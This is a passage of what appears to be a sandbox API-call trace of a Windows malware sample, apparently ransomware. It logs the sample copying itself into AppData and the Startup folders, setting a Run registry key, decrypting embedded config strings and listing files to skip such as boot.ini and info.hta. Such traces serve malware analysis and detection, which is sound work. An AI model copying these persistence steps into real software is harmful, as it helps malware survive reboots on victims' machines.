HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0031.955] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5f58 | out: hHeap=0x7c0000) returned 1 [0031.955] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), bFailIfExists=0) returned 1 [0031.964] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x20fa08 | out: phkResult=0x20fa08*=0x0) returned 0x5 [0031.964] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x20f9f4 | out: phkResult=0x20f9f4*=0x98) returned 0x0 [0031.964] RegSetValueExW (in: hKey=0x98, lpValueName="cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe", cbData=0xe0 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe") returned 0x0 [0031.964] RegCloseKey (hKey=0x98) returned 0x0 [0031.965] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x134) returned 0x7c15b0 [0031.965] GetLastError () returned 0x0 [0031.965] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), lpNewFileName="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), bFailIfExists=1) returned 1 [0031.969] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe"), bFailIfExists=1) returned 0 [0031.970] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c15b0 | out: hHeap=0x7c0000) returned 1 [0031.970] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c56f8 | out: hHeap=0x7c0000) returned 1 [0031.970] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5910 | out: hHeap=0x7c0000) returned 1 [0031.970] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5b28 | out: hHeap=0x7c0000) returned 1 [0031.970] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5d40 | out: hHeap=0x7c0000) returned 1 [0031.970] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0031.970] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1530 | out: hHeap=0x7c0000) returned 1 [0031.970] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5508 | out: hHeap=0x7c0000) returned 1 [0031.970] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c14a0 [0031.970] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f96c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9d4 | out: phKey=0x20f9d4*=0x2e7210) returned 1 [0031.970] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f9bc, dwFlags=0x0) returned 1 [0031.970] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x20f988 | out: pbData=0x7c14a0, pdwDataLen=0x20f988) returned 1 [0031.970] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.970] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c14c8 [0031.970] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c14f0 [0031.970] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1518 [0031.970] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f944, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9ac | out: phKey=0x20f9ac*=0x2e7210) returned 1 [0031.970] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f994, dwFlags=0x0) returned 1 [0031.970] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1518, pdwDataLen=0x20f960 | out: pbData=0x7c1518, pdwDataLen=0x20f960) returned 1 [0031.970] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.970] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1518 | out: hHeap=0x7c0000) returned 1 [0031.971] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.971] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14f0 | out: hHeap=0x7c0000) returned 1 [0031.971] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0031.971] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20fa14, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20fa14*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.971] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14c8 | out: hHeap=0x7c0000) returned 1 [0031.971] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x28) returned 0x7c14a0 [0031.971] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10) returned 0x7c14d0 [0031.971] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9b8 | out: phKey=0x20f9b8*=0x2e7210) returned 1 [0031.971] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f9a0, dwFlags=0x0) returned 1 [0031.971] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14d0, pdwDataLen=0x20f96c | out: pbData=0x7c14d0, pdwDataLen=0x20f96c) returned 1 [0031.971] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.971] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x60) returned 0x7c14e8 [0031.971] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f948, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9b0 | out: phKey=0x20f9b0*=0x2e7210) returned 1 [0031.971] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f998, dwFlags=0x0) returned 1 [0031.971] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14e8, pdwDataLen=0x20f964 | out: pbData=0x7c14e8, pdwDataLen=0x20f964) returned 1 [0031.971] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.971] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x52) returned 0x7c1550 [0031.971] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c1550, Size=0xa2) returned 0x7c1550 [0031.971] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10) returned 0x7c1600 [0031.971] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0xb40) returned 0x7c5508 [0031.971] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f918, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f980 | out: phKey=0x20f980*=0x2e7210) returned 1 [0031.971] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f968, dwFlags=0x0) returned 1 [0031.971] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c5508, pdwDataLen=0x20f934 | out: pbData=0x7c5508, pdwDataLen=0x20f934) returned 1 [0031.971] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.971] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x240) returned 0x7c6050 [0031.971] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f910, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f978 | out: phKey=0x20f978*=0x2e7210) returned 1 [0031.971] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f960, dwFlags=0x0) returned 1 [0031.971] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c6050, pdwDataLen=0x20f92c | out: pbData=0x7c6050, pdwDataLen=0x20f92c) returned 1 [0031.972] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1618 [0031.972] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f950 | out: phKey=0x20f950*=0x2e7210) returned 1 [0031.972] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f938, dwFlags=0x0) returned 1 [0031.972] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1618, pdwDataLen=0x20f904 | out: pbData=0x7c1618, pdwDataLen=0x20f904) returned 1 [0031.972] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x84) returned 0x7c16b0 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x84) returned 0x7c6298 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c6328 [0031.972] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8c0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f928 | out: phKey=0x20f928*=0x2e7210) returned 1 [0031.972] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f910, dwFlags=0x0) returned 1 [0031.972] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c6328, pdwDataLen=0x20f8dc | out: pbData=0x7c6328, pdwDataLen=0x20f8dc) returned 1 [0031.972] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.972] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c6328 | out: hHeap=0x7c0000) returned 1 [0031.972] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x7c16b0, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0031.972] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c6298 | out: hHeap=0x7c0000) returned 1 [0031.972] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1618 | out: hHeap=0x7c0000) returned 1 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c1740 [0031.972] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f94c | out: phKey=0x20f94c*=0x2e7210) returned 1 [0031.972] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f934, dwFlags=0x0) returned 1 [0031.972] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1740, pdwDataLen=0x20f900 | out: pbData=0x7c1740, pdwDataLen=0x20f900) returned 1 [0031.972] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7c1618 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x18) returned 0x7c1638 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c6298 [0031.972] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f924 | out: phKey=0x20f924*=0x2e7210) returned 1 [0031.972] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f90c, dwFlags=0x0) returned 1 [0031.972] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c6298, pdwDataLen=0x20f8d8 | out: pbData=0x7c6298, pdwDataLen=0x20f8d8) returned 1 [0031.972] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.972] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c6298 | out: hHeap=0x7c0000) returned 1 [0031.972] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x7c1618, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0031.972] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1638 | out: hHeap=0x7c0000) returned 1 [0031.972] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1740 | out: hHeap=0x7c0000) returned 1 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c6298 [0031.972] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c64b0 [0031.973] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7c64b0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0031.973] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c64b0 | out: hHeap=0x7c0000) returned 1 [0031.973] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0xb38) returned 0x7c64b0 [0031.973] GetLastError () returned 0x0 [0031.973] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c64b0, Size=0xd74) returned 0x7c64b0 [0031.973] GetLastError () returned 0x0 [0031.973] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x86) returned 0x7c7230 [0031.973] GetLastError () returned 0x0 [0031.973] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c7230, Size=0x110) returned 0x7c7230 [0031.973] GetLastError () returned 0x0 [0031.973] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1a) returned 0x7c1740 [0031.973] GetLastError () returned 0x0 [0031.973] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f96c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9d4 | out: phKey=0x20f9d4*=0x2e7210) returned 1 [0031.973] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f9bc, dwFlags=0x0) returned 1 [0031.973] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14d0, pdwDataLen=0x20f988 | out: pbData=0x7c14d0, pdwDataLen=0x20f988) returned 1 [0031.973] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.973] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c14f8 [0031.973] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c1520 [0031.973] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1618 [0031.973] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f944, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9ac | out: phKey=0x20f9ac*=0x2e7210) returned 1 [0031.973] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f994, dwFlags=0x0) returned 1 [0031.973] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1618, pdwDataLen=0x20f960 | out: pbData=0x7c1618, pdwDataLen=0x20f960) returned 1 [0031.973] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.974] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1618 | out: hHeap=0x7c0000) returned 1 [0031.974] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c14f8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.974] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1520 | out: hHeap=0x7c0000) returned 1 [0031.974] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14d0 | out: hHeap=0x7c0000) returned 1 [0031.974] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20fa14, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20fa14*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.974] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14f8 | out: hHeap=0x7c0000) returned 1 [0031.974] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x28) returned 0x7c14d0 [0031.974] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10) returned 0x7c1500 [0031.974] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f950, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9b8 | out: phKey=0x20f9b8*=0x2e7210) returned 1 [0031.974] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f9a0, dwFlags=0x0) returned 1 [0031.974] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1500, pdwDataLen=0x20f96c | out: pbData=0x7c1500, pdwDataLen=0x20f96c) returned 1 [0031.974] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.974] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x60) returned 0x7c1618 [0031.974] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f948, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9b0 | out: phKey=0x20f9b0*=0x2e7210) returned 1 [0031.974] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f998, dwFlags=0x0) returned 1 [0031.974] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1618, pdwDataLen=0x20f964 | out: pbData=0x7c1618, pdwDataLen=0x20f964) returned 1 [0031.974] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.974] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x52) returned 0x7c1680 [0031.974] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c1680, Size=0xa2) returned 0x7c1680 [0031.974] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10) returned 0x7c1518 [0031.974] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0xb40) returned 0x7c7348 [0031.974] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f918, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f980 | out: phKey=0x20f980*=0x2e7210) returned 1 [0031.974] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f968, dwFlags=0x0) returned 1 [0031.974] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7348, pdwDataLen=0x20f934 | out: pbData=0x7c7348, pdwDataLen=0x20f934) returned 1 [0031.974] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.974] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x240) returned 0x7c5508 [0031.974] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f910, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f978 | out: phKey=0x20f978*=0x2e7210) returned 1 [0031.974] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f960, dwFlags=0x0) returned 1 [0031.974] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c5508, pdwDataLen=0x20f92c | out: pbData=0x7c5508, pdwDataLen=0x20f92c) returned 1 [0031.975] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c7e90 [0031.975] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f950 | out: phKey=0x20f950*=0x2e7210) returned 1 [0031.975] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f938, dwFlags=0x0) returned 1 [0031.975] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7e90, pdwDataLen=0x20f904 | out: pbData=0x7c7e90, pdwDataLen=0x20f904) returned 1 [0031.975] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x84) returned 0x7c7f28 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x84) returned 0x7c5750 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c57e0 [0031.975] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8c0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f928 | out: phKey=0x20f928*=0x2e7210) returned 1 [0031.975] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f910, dwFlags=0x0) returned 1 [0031.975] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c57e0, pdwDataLen=0x20f8dc | out: pbData=0x7c57e0, pdwDataLen=0x20f8dc) returned 1 [0031.975] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.975] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c57e0 | out: hHeap=0x7c0000) returned 1 [0031.975] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x7c7f28, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0031.975] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5750 | out: hHeap=0x7c0000) returned 1 [0031.975] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7e90 | out: hHeap=0x7c0000) returned 1 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c7fb8 [0031.975] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f94c | out: phKey=0x20f94c*=0x2e7210) returned 1 [0031.975] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f934, dwFlags=0x0) returned 1 [0031.975] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c7fb8, pdwDataLen=0x20f900 | out: pbData=0x7c7fb8, pdwDataLen=0x20f900) returned 1 [0031.975] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7c1530 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x18) returned 0x7c7e90 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c5750 [0031.975] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8bc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f924 | out: phKey=0x20f924*=0x2e7210) returned 1 [0031.975] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f90c, dwFlags=0x0) returned 1 [0031.975] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c5750, pdwDataLen=0x20f8d8 | out: pbData=0x7c5750, pdwDataLen=0x20f8d8) returned 1 [0031.975] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.975] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5750 | out: hHeap=0x7c0000) returned 1 [0031.975] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0x7c1530, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0031.975] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7e90 | out: hHeap=0x7c0000) returned 1 [0031.975] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c7fb8 | out: hHeap=0x7c0000) returned 1 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c5750 [0031.975] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c5968 [0031.976] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7c5968, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0031.976] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5968 | out: hHeap=0x7c0000) returned 1 [0031.976] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0xb38) returned 0x7c5968 [0031.976] GetLastError () returned 0x0 [0031.976] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c7e90, Size=0x110) returned 0x7c8200 [0031.976] GetLastError () returned 0x0 [0031.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a1f96, lpParameter=0x20faac, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x94 [0031.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a1e5c, lpParameter=0x20fa9c, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x98 [0031.979] 